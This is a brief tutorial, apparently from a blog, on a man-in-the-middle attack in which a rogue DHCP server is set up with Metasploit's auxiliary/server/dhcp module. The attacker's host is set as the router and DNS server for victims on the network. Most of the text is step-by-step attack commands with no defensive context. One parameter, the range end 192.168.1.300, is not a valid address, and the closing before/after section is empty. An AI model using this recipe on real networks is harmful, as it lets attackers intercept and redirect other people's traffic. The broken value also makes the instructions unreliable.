There is a dangerous type of cyber attack called Man In The Middle. Attacker can make all network traffic go through their system.
One of the ways of this attack is that the attacker has to make the system being attacked to recognize the attacker’s system as the gateway(router)
that sends all network traffic through here. There are many ways to do this, and the popular way is fake DHCP server.

1. Network Model:

• gateway: 192.168.1.1
• netmask: 255.255.255.0
• attacker: 192.168.1.92

2. Create Fake DHCP:

Open Metasploit:

msfconsole

use auxiliary/server/dhcp

show options

Setup DHCP server:

set dhcpipstart 192.168.1.200

set dhcpipend 192.168.1.300

set netmask 255.255.255.0

set broadcast 192.168.1.255

set router 192.168.1.92

set dnsserver 192.168.1.92

set srvhost 192.168.1.92

run

Network information of another machine before and after run fake DHCP:
before

after